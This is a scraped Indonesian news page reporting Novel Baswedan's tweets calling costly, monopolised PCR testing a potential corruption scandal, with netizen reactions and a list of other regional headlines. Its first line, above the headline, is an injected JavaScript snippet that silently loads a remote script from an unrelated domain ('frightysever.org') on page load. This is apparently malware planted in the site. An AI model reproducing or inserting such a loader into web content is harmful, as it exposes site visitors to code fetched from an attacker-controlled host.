(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Novel Baswedan Komentari PCR Mahal: Potensi Korupsi yang Mesti Diungkap


KANALKALIMANTAN.COM – Mantan penyidik Komisi Pemberantasan Korupsi (KPK), Novel Baswedan mengkritisi soal tes PCR Covid-19. Hal ini dinyatakan Novel melalui akun Twitternya pada Senin (29/11/2021).

Menurutnya, Tes PCR yang dimonopoli segelintir orang bisa berpotensi korupsi.

“Tes PCR urgent bagi masyarakat, apalagi saat pandemi Covid-19. Ketika dikuasai/dimonopoli oleh segelintir orang lalu dikomersilkan sehingga harganya mahal, maka ini skandal, potensi Korupsi yang mesti diungkap,” cuit Novel.

“Apalagi alokasi dana negara besar untuk Covid-19, di antaranya untuk tes PCR,” imbuhnya.

 

 

Baca juga: Gatalan Serang Pengungsi Banjir HST, Listrik di Sebagian Wilayah Masih Dipadamkan

Tak hanya itu, ia juga mengomentari cara krja Tes PCR yang terhitung lambat.

“Belum lagi ketika kita bicara soal waktu, saat masyarakat membutuhkan segera tapi harus menunggu sampai 2 hari bahkan lebih,” tulis Novel.

“Yang mau hasil lebih cepat harus membayar lebih mahal lagi. Berapa waktu yang dibutuhkan utk tes PCR? Dari beberapa sumber ternyata tidak lebih dari 6 jam,” imbuhnya.

Baca juga: Tinggal Sebulan, Barsel Kejar Vaksinasi 70 Persen di Akhir Tahun

Cuitan Novel tersebut tentu mendapatkan berbagai komentar dari warganet.

“Disayangkan, sudah berjalan hampir 2 tahun pandemi ini tidak ada yang menyelidiki lebih lanjut skandal ini,” komentar warganet.

“Setuju banget, aku di belakangmu bang,” imbuh warganet lain.

“Berani enggak ya KPK membongkarnya,” tulis warganet di kolom komentar.

Baca juga: Evakuasi Korban Banjir HST, PMI Banjarbaru Kirim Relawan dan Perahu Karet

“Ketamakan dan kerakusan kalau enggak distop maka akan menghancurkan negeri ini,” timpal lainnya.

Harga tes PCR memang paling mahal di antara tes Covid-19 lainnya. Belum lama ini, tes PCR diturunkan menjadi Rp 275 hingga Rp 300 ribu di mana sebelumnya bisa mencapai Rp 900 ribu.

Tes ini juga masih memakan waktu kurang lebih 1×24 jam, bahkan ada yang 2×24 jam. (Suara.com)

Editor : kk


Risa

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

12 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

14 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

14 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

16 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

2 hari ago

This website uses cookies.